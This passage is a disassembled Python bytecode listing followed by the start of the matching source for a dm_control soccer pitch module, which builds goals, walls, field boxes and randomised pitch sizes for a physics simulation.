LOAD_CONST 0.1 LOAD_CONST 0.1 LOAD_CONST 0.8 BUILD_LIST LOAD_FAST wall_pos LOAD_CONST 1e-07 LOAD_CONST 1e-07 LOAD_CONST 1e-07 BUILD_LIST LOAD_FAST wall_xyaxes LOAD_CONST ('type', 'rgba', 'pos', 'size', 'xyaxes') CALL_FUNCTION CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST field_box EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST field_box_offset JUMP_FORWARD to 456 LOAD_CONST 0.0 LOAD_DEREF self STORE_ATTR _fb_offset LOAD_DEREF self LOAD_METHOD _get_goal_size CALL_METHOD STORE_FAST goal_size LOAD_GLOBAL Goal LOAD_CONST 1 LOAD_CONST False LOAD_DEREF self LOAD_ATTR _size LOAD_CONST 0 BINARY_SUBSCR UNARY_NEGATIVE LOAD_FAST goal_size LOAD_CONST 0 BINARY_SUBSCR BINARY_ADD LOAD_DEREF self LOAD_ATTR _fb_offset BINARY_ADD LOAD_CONST 0 LOAD_FAST goal_size LOAD_CONST 2 BINARY_SUBSCR BUILD_TUPLE LOAD_FAST goal_size LOAD_CONST (0.2, 0.2, 1, 0.5) LOAD_CONST True LOAD_CONST 'home_goal' LOAD_CONST ('direction', 'make_net', 'pos', 'size', 'rgba', 'visible', 'name') CALL_FUNCTION LOAD_DEREF self STORE_ATTR _home_goal LOAD_DEREF self LOAD_METHOD attach LOAD_DEREF self LOAD_ATTR _home_goal CALL_METHOD POP_TOP LOAD_GLOBAL Goal LOAD_CONST -1 LOAD_CONST False LOAD_DEREF self LOAD_ATTR _size LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST goal_size LOAD_CONST 0 BINARY_SUBSCR BINARY_SUBTRACT LOAD_DEREF self LOAD_ATTR _fb_offset BINARY_SUBTRACT LOAD_CONST 0 LOAD_FAST goal_size LOAD_CONST 2 BINARY_SUBSCR BUILD_TUPLE LOAD_FAST goal_size LOAD_CONST (1, 0.2, 0.2, 0.5) LOAD_CONST True LOAD_CONST 'away_goal' LOAD_CONST ('direction', 'make_net', 'pos', 'size', 'rgba', 'visible', 'name') CALL_FUNCTION LOAD_DEREF self STORE_ATTR _away_goal LOAD_DEREF self LOAD_METHOD attach LOAD_DEREF self LOAD_ATTR _away_goal CALL_METHOD POP_TOP LOAD_GLOBAL props LOAD_ATTR PositionDetector LOAD_CONST (0, 0) LOAD_DEREF self LOAD_ATTR _size LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 2 LOAD_FAST goal_size LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY BINARY_SUBTRACT LOAD_DEREF self LOAD_ATTR _size LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 2 LOAD_FAST goal_size LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY BINARY_SUBTRACT BUILD_TUPLE LOAD_CONST True LOAD_CONST False LOAD_CONST 'field' LOAD_CONST ('pos', 'size', 'inverted', 'visible', 'name') CALL_FUNCTION LOAD_DEREF self STORE_ATTR _field LOAD_DEREF self LOAD_METHOD attach LOAD_DEREF self LOAD_ATTR _field CALL_METHOD POP_TOP LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object _visual_plane at 0x7faa5ec3b390, file "f.py", line 460> LOAD_CONST 'Pitch._build.<locals>._visual_plane' MAKE_FUNCTION STORE_DEREF _visual_plane LOAD_CLOSURE _visual_plane BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faa5ec3bdb0, file "f.py", line 470> LOAD_CONST 'Pitch._build.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_CONST 8 CALL_FUNCTION GET_ITER CALL_FUNCTION LOAD_DEREF self STORE_ATTR _perimeter LOAD_DEREF self LOAD_METHOD _update_perimeter CALL_METHOD POP_TOP BUILD_LIST LOAD_DEREF self STORE_ATTR _field_box LOAD_FAST field_box EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_LOOP to 814 LOAD_GLOBAL _fieldbox_pos_size LOAD_DEREF self LOAD_ATTR _field LOAD_ATTR upper LOAD_DEREF self LOAD_ATTR _field LOAD_ATTR lower BINARY_SUBTRACT LOAD_CONST 2.0 BINARY_TRUE_DIVIDE LOAD_FAST goal_size CALL_FUNCTION GET_ITER FOR_ITER to 812 UNPACK_SEQUENCE STORE_FAST box_pos STORE_FAST box_size LOAD_DEREF self LOAD_ATTR _field_box LOAD_METHOD append LOAD_DEREF self LOAD_ATTR _mjcf_root LOAD_ATTR worldbody LOAD_ATTR add LOAD_CONST 'geom' LOAD_CONST 'box' LOAD_CONST 0.3 LOAD_CONST 0.3 LOAD_CONST 0.3 LOAD_CONST 0.0 BUILD_LIST LOAD_FAST box_pos LOAD_FAST box_size LOAD_CONST ('type', 'rgba', 'pos', 'size') CALL_FUNCTION CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object _box_site at 0x7faa5ec3b270, file "f.py", line 488> LOAD_CONST 'Pitch._build.<locals>._box_site' MAKE_FUNCTION STORE_DEREF _box_site LOAD_CLOSURE _box_site BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faa5ec3b540, file "f.py", line 491> LOAD_CONST 'Pitch._build.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_CONST 4 LOAD_GLOBAL _NUM_HOARDING BINARY_MULTIPLY CALL_FUNCTION GET_ITER CALL_FUNCTION LOAD_DEREF self STORE_ATTR _hoarding LOAD_DEREF self LOAD_METHOD _update_hoarding CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 28 STORE_FAST _ LOAD_DEREF self LOAD_ATTR _mjcf_root LOAD_ATTR worldbody LOAD_ATTR add LOAD_CONST 'light' LOAD_CONST 60 LOAD_CONST ('cutoff',) CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_DEREF self LOAD_ATTR _mjcf_root LOAD_ATTR worldbody LOAD_ATTR add LOAD_CONST 'geom' LOAD_CONST 'plane' LOAD_CONST (1, 1, 1) LOAD_CONST (0.306, 0.682, 0.223, 1) LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST ('type', 'size', 'rgba', 'contype', 'conaffinity') CALL_FUNCTION RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 16 STORE_FAST _ LOAD_DEREF _visual_plane CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_DEREF self LOAD_ATTR _mjcf_root LOAD_ATTR worldbody LOAD_ATTR add LOAD_CONST 'site' LOAD_CONST 'box' LOAD_CONST (1, 1, 1) LOAD_CONST ('type', 'size') CALL_FUNCTION RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 16 STORE_FAST _ LOAD_DEREF _box_site CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL _NUM_HOARDING STORE_FAST num_boxes LOAD_CONST 0 STORE_FAST counter EXTENDED_ARG SETUP_LOOP to 562 LOAD_CONST (0, 1) GET_ITER EXTENDED_ARG FOR_ITER to 560 STORE_FAST dim LOAD_FAST self LOAD_METHOD _get_goal_size CALL_METHOD LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 8 BINARY_TRUE_DIVIDE STORE_FAST width LOAD_FAST self LOAD_METHOD _get_goal_size CALL_METHOD LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 2 BINARY_TRUE_DIVIDE STORE_FAST height LOAD_FAST self LOAD_ATTR _size LOAD_FAST dim BINARY_SUBSCR STORE_FAST length LOAD_FAST dim LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST length LOAD_CONST 2 LOAD_FAST width BINARY_MULTIPLY INPLACE_ADD STORE_FAST length LOAD_FAST height LOAD_GLOBAL np LOAD_METHOD ones LOAD_CONST 3 CALL_METHOD BINARY_MULTIPLY STORE_FAST box_size LOAD_FAST length LOAD_FAST num_boxes BINARY_TRUE_DIVIDE LOAD_FAST box_size LOAD_FAST dim STORE_SUBSCR LOAD_FAST width LOAD_FAST box_size LOAD_CONST 1 LOAD_FAST dim BINARY_SUBTRACT STORE_SUBSCR LOAD_GLOBAL np LOAD_ATTR linspace LOAD_FAST length UNARY_NEGATIVE LOAD_FAST length LOAD_FAST num_boxes LOAD_CONST False LOAD_CONST ('endpoint',) CALL_FUNCTION STORE_FAST dim_pos LOAD_FAST dim_pos LOAD_FAST length LOAD_FAST num_boxes BINARY_TRUE_DIVIDE INPLACE_ADD STORE_FAST dim_pos EXTENDED_ARG SETUP_LOOP to 558 LOAD_CONST (-1, 1) GET_ITER EXTENDED_ARG FOR_ITER to 556 STORE_FAST sign LOAD_FAST sign LOAD_FAST self LOAD_ATTR _size LOAD_CONST 1 LOAD_FAST dim BINARY_SUBTRACT BINARY_SUBSCR LOAD_GLOBAL np LOAD_METHOD ones LOAD_FAST num_boxes CALL_METHOD BINARY_MULTIPLY LOAD_FAST width BINARY_ADD BINARY_MULTIPLY STORE_FAST alt_pos LOAD_FAST dim_pos LOAD_FAST alt_pos BUILD_TUPLE STORE_FAST dim_alt EXTENDED_ARG SETUP_LOOP to 554 LOAD_GLOBAL range LOAD_FAST num_boxes CALL_FUNCTION GET_ITER EXTENDED_ARG FOR_ITER to 552 STORE_FAST box LOAD_GLOBAL np LOAD_METHOD array LOAD_FAST dim_alt LOAD_FAST dim BINARY_SUBSCR LOAD_FAST box BINARY_SUBSCR LOAD_FAST dim_alt LOAD_CONST 1 LOAD_FAST dim BINARY_SUBTRACT BINARY_SUBSCR LOAD_FAST box BINARY_SUBSCR LOAD_FAST width BUILD_TUPLE CALL_METHOD STORE_FAST box_pos LOAD_FAST self LOAD_ATTR _hoarding_color_scheme_id LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_ATTR pi LOAD_GLOBAL np LOAD_METHOD arctan2 LOAD_FAST box_pos LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL np LOAD_METHOD abs LOAD_FAST box_pos LOAD_CONST 1 BINARY_SUBSCR CALL_METHOD UNARY_NEGATIVE CALL_METHOD BINARY_ADD STORE_FAST angle JUMP_FORWARD to 436 LOAD_FAST self LOAD_ATTR _hoarding_color_scheme_id LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD arctan2 LOAD_FAST box_pos LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL np LOAD_METHOD abs LOAD_FAST box_pos LOAD_CONST 1 BINARY_SUBSCR CALL_METHOD CALL_METHOD STORE_FAST angle JUMP_FORWARD to 436 LOAD_FAST self LOAD_ATTR _hoarding_color_scheme_id LOAD_CONST 2 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD arctan2 LOAD_FAST box_pos LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL np LOAD_METHOD abs LOAD_FAST box_pos LOAD_CONST 1 BINARY_SUBSCR CALL_METHOD UNARY_NEGATIVE CALL_METHOD STORE_FAST angle JUMP_FORWARD to 436 LOAD_FAST self LOAD_ATTR _hoarding_color_scheme_id LOAD_CONST 3 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_ATTR pi LOAD_GLOBAL np LOAD_METHOD arctan2 LOAD_FAST box_pos LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL np LOAD_METHOD abs LOAD_FAST box_pos LOAD_CONST 1 BINARY_SUBSCR CALL_METHOD CALL_METHOD BINARY_ADD STORE_FAST angle LOAD_CONST 0.5 LOAD_FAST angle LOAD_CONST 2 LOAD_GLOBAL np LOAD_ATTR pi BINARY_MULTIPLY BINARY_TRUE_DIVIDE BINARY_ADD STORE_FAST hue LOAD_CONST 0.25 STORE_FAST hue_offset LOAD_FAST hue LOAD_FAST hue_offset BINARY_SUBTRACT LOAD_CONST 1.0 BINARY_MODULO STORE_FAST hue LOAD_CONST 0.7 STORE_FAST saturation LOAD_CONST 1.0 STORE_FAST value LOAD_GLOBAL colorsys LOAD_METHOD hsv_to_rgb LOAD_FAST hue LOAD_FAST saturation LOAD_FAST value CALL_METHOD UNPACK_SEQUENCE STORE_FAST col_r STORE_FAST col_g STORE_FAST col_b LOAD_FAST box_pos LOAD_FAST self LOAD_ATTR _hoarding LOAD_FAST counter BINARY_SUBSCR STORE_ATTR pos LOAD_FAST box_size LOAD_FAST self LOAD_ATTR _hoarding LOAD_FAST counter BINARY_SUBSCR STORE_ATTR size LOAD_FAST col_r LOAD_FAST col_g LOAD_FAST col_b LOAD_CONST 1.0 BUILD_TUPLE LOAD_FAST self LOAD_ATTR _hoarding LOAD_FAST counter BINARY_SUBSCR STORE_ATTR rgba LOAD_FAST counter LOAD_CONST 1 INPLACE_ADD STORE_FAST counter JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_goal_size CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR STORE_FAST width LOAD_CONST 0 STORE_FAST counter SETUP_LOOP to 212 LOAD_CONST (-1, 0, 1) GET_ITER FOR_ITER to 210 STORE_FAST x SETUP_LOOP to 208 LOAD_CONST (-1, 0, 1) GET_ITER FOR_ITER to 206 STORE_FAST y LOAD_FAST x LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST y LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE JUMP_ABSOLUTE LOAD_FAST x LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _size LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 2 LOAD_FAST width BINARY_MULTIPLY BINARY_SUBTRACT JUMP_FORWARD to 82 LOAD_FAST width STORE_FAST size_0 LOAD_FAST y LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _size LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 2 LOAD_FAST width BINARY_MULTIPLY BINARY_SUBTRACT JUMP_FORWARD to 112 LOAD_FAST width STORE_FAST size_1 LOAD_FAST size_0 LOAD_FAST size_1 LOAD_GLOBAL max LOAD_FAST self LOAD_ATTR _size CALL_FUNCTION LOAD_GLOBAL _GROUND_GEOM_GRID_RATIO BINARY_MULTIPLY BUILD_LIST STORE_FAST size LOAD_FAST x LOAD_FAST self LOAD_ATTR _size LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST width BINARY_SUBTRACT BINARY_MULTIPLY LOAD_FAST y LOAD_FAST self LOAD_ATTR _size LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST width BINARY_SUBTRACT BINARY_MULTIPLY LOAD_CONST 0 BUILD_TUPLE STORE_FAST pos LOAD_FAST size LOAD_FAST self LOAD_ATTR _perimeter LOAD_FAST counter BINARY_SUBSCR STORE_ATTR size LOAD_FAST pos LOAD_FAST self LOAD_ATTR _perimeter LOAD_FAST counter BINARY_SUBSCR STORE_ATTR pos LOAD_FAST counter LOAD_CONST 1 INPLACE_ADD STORE_FAST counter JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _goal_size STORE_FAST goal_size LOAD_FAST goal_size LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL _SIDE_WIDTH LOAD_CONST 2 BINARY_TRUE_DIVIDE LOAD_FAST self LOAD_ATTR _size LOAD_CONST 1 BINARY_SUBSCR LOAD_GLOBAL _DEFAULT_GOAL_LENGTH_RATIO BINARY_MULTIPLY LOAD_GLOBAL _SIDE_WIDTH LOAD_CONST 2 BINARY_TRUE_DIVIDE BUILD_TUPLE STORE_FAST goal_size LOAD_FAST goal_size RETURN_VALUE LOAD_FAST self LOAD_ATTR _home_goal LOAD_METHOD register_entities LOAD_FAST ball CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _away_goal LOAD_METHOD register_entities LOAD_FAST ball CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _field_box POP_JUMP_IF_FALSE LOAD_FAST ball LOAD_ATTR geom LOAD_ATTR contype JUMP_IF_TRUE_OR_POP LOAD_CONST 1 LOAD_GLOBAL _FIELD_BOX_CONTACT_BIT BINARY_OR LOAD_FAST ball LOAD_ATTR geom STORE_ATTR contype SETUP_LOOP to 92 LOAD_FAST self LOAD_ATTR _field_box GET_ITER FOR_ITER to 76 STORE_FAST wall LOAD_GLOBAL _FIELD_BOX_CONTACT_BIT LOAD_FAST wall STORE_ATTR conaffinity LOAD_GLOBAL _FIELD_BOX_CONTACT_BIT LOAD_FAST wall STORE_ATTR contype JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 92 LOAD_FAST self LOAD_ATTR _field LOAD_METHOD register_entities LOAD_FAST ball CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _home_goal LOAD_ATTR detected_entities POP_JUMP_IF_FALSE LOAD_GLOBAL team LOAD_ATTR Team LOAD_ATTR AWAY RETURN_VALUE LOAD_FAST self LOAD_ATTR _away_goal LOAD_ATTR detected_entities POP_JUMP_IF_FALSE LOAD_GLOBAL team LOAD_ATTR Team LOAD_ATTR HOME RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _field LOAD_ATTR detected_entities RETURN_VALUE LOAD_FAST self LOAD_ATTR _size RETURN_VALUE LOAD_FAST self LOAD_ATTR _home_goal RETURN_VALUE LOAD_FAST self LOAD_ATTR _away_goal RETURN_VALUE LOAD_FAST self LOAD_ATTR _field RETURN_VALUE LOAD_FAST self LOAD_ATTR _ground_geom RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'RandomizedPitch' STORE_NAME __qualname__ LOAD_CONST 'RandomizedPitch that randomizes its size between (min_size, max_size).' STORE_NAME __doc__ LOAD_CONST None LOAD_CONST False LOAD_CONST None LOAD_CONST False LOAD_CONST 0.0 LOAD_NAME _TOP_CAMERA_DISTANCE LOAD_CONST 'randomized_pitch' BUILD_TUPLE LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab4130c9c0, file "f.py", line 608> LOAD_CONST 'RandomizedPitch.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object _resize_goals at 0x7fab4130c5d0, file "f.py", line 661> LOAD_CONST 'RandomizedPitch._resize_goals' MAKE_FUNCTION STORE_NAME _resize_goals LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object initialize_episode_mjcf at 0x7fab4130cf60, file "f.py", line 671> LOAD_CONST 'RandomizedPitch.initialize_episode_mjcf' MAKE_FUNCTION STORE_NAME initialize_episode_mjcf LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ LOAD_FAST max_size LOAD_FAST goal_size LOAD_FAST top_camera_distance LOAD_FAST field_box LOAD_FAST field_box_offset LOAD_FAST name LOAD_CONST ('size', 'goal_size', 'top_camera_distance', 'field_box', 'field_box_offset', 'name') CALL_FUNCTION POP_TOP LOAD_FAST min_size LOAD_FAST self STORE_ATTR _min_size LOAD_FAST max_size LOAD_FAST self STORE_ATTR _max_size LOAD_FAST randomizer JUMP_IF_TRUE_OR_POP LOAD_GLOBAL distributions LOAD_METHOD Uniform CALL_METHOD LOAD_FAST self STORE_ATTR _randomizer LOAD_FAST keep_aspect_ratio LOAD_FAST self STORE_ATTR _keep_aspect_ratio LOAD_GLOBAL logging LOAD_METHOD info LOAD_CONST '%s between (%s, %s) with %s' LOAD_FAST self LOAD_ATTR __class__ LOAD_ATTR __name__ LOAD_FAST min_size LOAD_FAST max_size LOAD_FAST self LOAD_ATTR _randomizer CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _home_goal LOAD_ATTR resize LOAD_FAST self LOAD_ATTR _size LOAD_CONST 0 BINARY_SUBSCR UNARY_NEGATIVE LOAD_FAST goal_size LOAD_CONST 0 BINARY_SUBSCR BINARY_ADD LOAD_FAST self LOAD_ATTR _fb_offset BINARY_ADD LOAD_CONST 0 LOAD_FAST goal_size LOAD_CONST 2 BINARY_SUBSCR BUILD_TUPLE LOAD_FAST goal_size LOAD_CONST ('pos', 'size') CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR _away_goal LOAD_ATTR resize LOAD_FAST self LOAD_ATTR _size LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST goal_size LOAD_CONST 0 BINARY_SUBSCR BINARY_SUBTRACT LOAD_FAST self LOAD_ATTR _fb_offset BINARY_SUBTRACT LOAD_CONST 0 LOAD_FAST goal_size LOAD_CONST 2 BINARY_SUBSCR BUILD_TUPLE LOAD_FAST goal_size LOAD_CONST ('pos', 'size') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD initialize_episode_mjcf LOAD_FAST random_state CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _min_size UNPACK_SEQUENCE STORE_FAST min_len STORE_FAST min_wid LOAD_FAST self LOAD_ATTR _max_size UNPACK_SEQUENCE STORE_FAST max_len STORE_FAST max_wid LOAD_FAST self LOAD_ATTR _keep_aspect_ratio POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _randomizer LOAD_FAST random_state LOAD_CONST ('random_state',) CALL_FUNCTION STORE_FAST len_ratio LOAD_FAST len_ratio STORE_FAST wid_ratio JUMP_FORWARD to 80 LOAD_FAST self LOAD_ATTR _randomizer LOAD_FAST random_state LOAD_CONST ('random_state',) CALL_FUNCTION STORE_FAST len_ratio LOAD_FAST self LOAD_ATTR _randomizer LOAD_FAST random_state LOAD_CONST ('random_state',) CALL_FUNCTION STORE_FAST wid_ratio LOAD_FAST min_len LOAD_FAST len_ratio LOAD_FAST max_len LOAD_FAST min_len BINARY_SUBTRACT BINARY_MULTIPLY BINARY_ADD LOAD_FAST min_wid LOAD_FAST wid_ratio LOAD_FAST max_wid LOAD_FAST min_wid BINARY_SUBTRACT BINARY_MULTIPLY BINARY_ADD BUILD_TUPLE LOAD_FAST self STORE_ATTR _size LOAD_GLOBAL _top_down_cam_fovy LOAD_FAST self LOAD_ATTR _size LOAD_FAST self LOAD_ATTR _top_camera_distance CALL_FUNCTION LOAD_FAST self LOAD_ATTR _top_camera STORE_ATTR fovy LOAD_FAST self LOAD_METHOD _update_perimeter CALL_METHOD POP_TOP SETUP_LOOP to 184 LOAD_GLOBAL enumerate LOAD_GLOBAL _wall_pos_xyaxes LOAD_FAST self LOAD_ATTR _size CALL_FUNCTION CALL_FUNCTION GET_ITER FOR_ITER to 182 UNPACK_SEQUENCE STORE_FAST i UNPACK_SEQUENCE STORE_FAST wall_pos STORE_FAST _ LOAD_FAST wall_pos LOAD_FAST self LOAD_ATTR _walls LOAD_FAST i BINARY_SUBSCR STORE_ATTR pos JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_METHOD _get_goal_size CALL_METHOD STORE_FAST goal_size LOAD_FAST self LOAD_METHOD _resize_goals LOAD_FAST goal_size CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _size LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 2 LOAD_FAST goal_size LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY BINARY_SUBTRACT LOAD_FAST self LOAD_ATTR _size LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 2 LOAD_FAST goal_size LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY BINARY_SUBTRACT BUILD_TUPLE STORE_FAST field_size LOAD_FAST self LOAD_ATTR _field LOAD_ATTR resize LOAD_CONST (0, 0) LOAD_FAST field_size LOAD_CONST ('pos', 'size') CALL_FUNCTION POP_TOP LOAD_GLOBAL list LOAD_FAST field_size CALL_FUNCTION LOAD_GLOBAL max LOAD_FAST self LOAD_ATTR _size CALL_FUNCTION LOAD_GLOBAL _GROUND_GEOM_GRID_RATIO BINARY_MULTIPLY BUILD_LIST BINARY_ADD LOAD_FAST self LOAD_ATTR _ground_geom STORE_ATTR size LOAD_FAST self LOAD_ATTR _field_box EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_LOOP to 372 LOAD_GLOBAL enumerate LOAD_GLOBAL _fieldbox_pos_size LOAD_FAST self LOAD_ATTR _field LOAD_ATTR upper LOAD_FAST self LOAD_ATTR _field LOAD_ATTR lower BINARY_SUBTRACT LOAD_CONST 2.0 BINARY_TRUE_DIVIDE LOAD_FAST goal_size CALL_FUNCTION CALL_FUNCTION GET_ITER FOR_ITER to 370 UNPACK_SEQUENCE STORE_FAST i UNPACK_SEQUENCE STORE_FAST pos STORE_FAST size LOAD_FAST pos LOAD_FAST self LOAD_ATTR _field_box LOAD_FAST i BINARY_SUBSCR STORE_ATTR pos LOAD_FAST size LOAD_FAST self LOAD_ATTR _field_box LOAD_FAST i BINARY_SUBSCR STORE_ATTR size EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL _reposition_corner_lights LOAD_FAST self LOAD_ATTR _corner_lights LOAD_FAST self LOAD_ATTR _size LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 2 LOAD_FAST goal_size LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY BINARY_SUBTRACT LOAD_FAST self LOAD_ATTR _size LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 2 LOAD_FAST goal_size LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY BINARY_SUBTRACT BUILD_TUPLE LOAD_CONST ('size',) CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_METHOD _update_hoarding CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE
"""A soccer pitch with home/away goals and one field with position detection.""" import colorsys import os from absl import logging from dm_control import composer from dm_control import mjcf from dm_control.composer.variation import distributions from dm_control.entities import props from dm_control.locomotion.soccer import team import numpy as np from dm_control.utils import io as resources _ASSETS_PATH = os.path.join(os.path.dirname(__file__), "assets", "pitch") def _get_texture(name): contents = resources.GetResource(os.path.join(_ASSETS_PATH, "{}.png".format(name))) return mjcf.Asset(contents, ".png") _TOP_CAMERA_Y_PADDING_FACTOR = 1.1 _TOP_CAMERA_DISTANCE = 95.0 _WALL_HEIGHT = 10.0 _WALL_THICKNESS = 0.5 _SIDE_WIDTH = 32.0 / 6.0 _GROUND_GEOM_GRID_RATIO = 1.0 / 100 # Grid size for lighting. _FIELD_BOX_CONTACT_BIT = 1 << 7 # Use a higher bit to prevent potential clash. _DEFAULT_PITCH_SIZE = (12, 9) _DEFAULT_GOAL_LENGTH_RATIO = 0.33 # Goal length / pitch width. _GOALPOST_RELATIVE_SIZE = 0.07 # Ratio of the goalpost radius to goal size. _NET_RELATIVE_SIZE = 0.01 # Ratio of the net thickness to goal size. _SUPPORT_POST_RATIO = 0.75 # Ratio of support post to goalpost radius. _GOALPOSTS = { "right_post": (1, -1, -1, 1, -1, 1), "left_post": (1, 1, -1, 1, 1, 1), "top_post": (1, -1, 1, 1, 1, 1), "right_base": (1, -1, -1, -1, -1, -1), "left_base": (1, 1, -1, -1, 1, -1), "back_base": (-1, -1, -1, -1, 1, -1), "right_support": (-1, -1, -1, 0.2, -1, 1), "right_top_support": (0.2, -1, 1, 1, -1, 1), "left_support": (-1, 1, -1, 0.2, 1, 1), "left_top_support": (0.2, 1, 1, 1, 1, 1), } _NET = { "top": _GOALPOSTS["right_top_support"] + _GOALPOSTS["left_top_support"], "back": _GOALPOSTS["right_support"] + _GOALPOSTS["left_support"], "left": _GOALPOSTS["left_base"] + _GOALPOSTS["left_top_support"], "right": _GOALPOSTS["right_base"] + _GOALPOSTS["right_top_support"], } _NET = {key: np.array(value).reshape(4, 3) for key, value in _NET.items()} _NUM_HOARDING = 30 def _top_down_cam_fovy(size, top_camera_distance): return (360 / np.pi) * np.arctan2( _TOP_CAMERA_Y_PADDING_FACTOR * max(size), top_camera_distance ) def _wall_pos_xyaxes(size): """Infers position and size of bounding walls given pitch size. Walls are placed around `ground_geom` that represents the pitch. Note that the ball cannot travel beyond `field` but walkers can walk outside of the `field` but not the surrounding walls. Args: size: a tuple of (length, width) of the pitch. Returns: a list of 4 tuples, each representing the position and xyaxes of a wall plane. In order, walls are placed along x-negative, x-positive, y-negative, y-positive relative the center of the pitch. """ return [ ((0.0, -size[1], 0.0), (-1, 0, 0, 0, 0, 1)), ((0.0, size[1], 0.0), (1, 0, 0, 0, 0, 1)), ((-size[0], 0.0, 0.0), (0, 1, 0, 0, 0, 1)), ((size[0], 0.0, 0.0), (0, -1, 0, 0, 0, 1)), ] def _fieldbox_pos_size(field_size, goal_size): """Infers position and size of fieldbox given pitch size. Walls are placed around the field so that the ball cannot travel beyond `field` but walkers can walk outside of the `field` but not the surrounding pitch. Holes are left in the fieldbox at the goal positions to enable scoring. Args: field_size: a tuple of (length, width) of the field. goal_size: a tuple of (unused_depth, width, height) of the goal. Returns: a list of 8 tuples, each representing the position and size of a wall box. """ box_half_height = 20.0 corner_pos_y = 0.5 * (field_size[1] + goal_size[1]) corner_size_y = 0.5 * (field_size[1] - goal_size[1]) thickness = 1.0 top_pos_z = 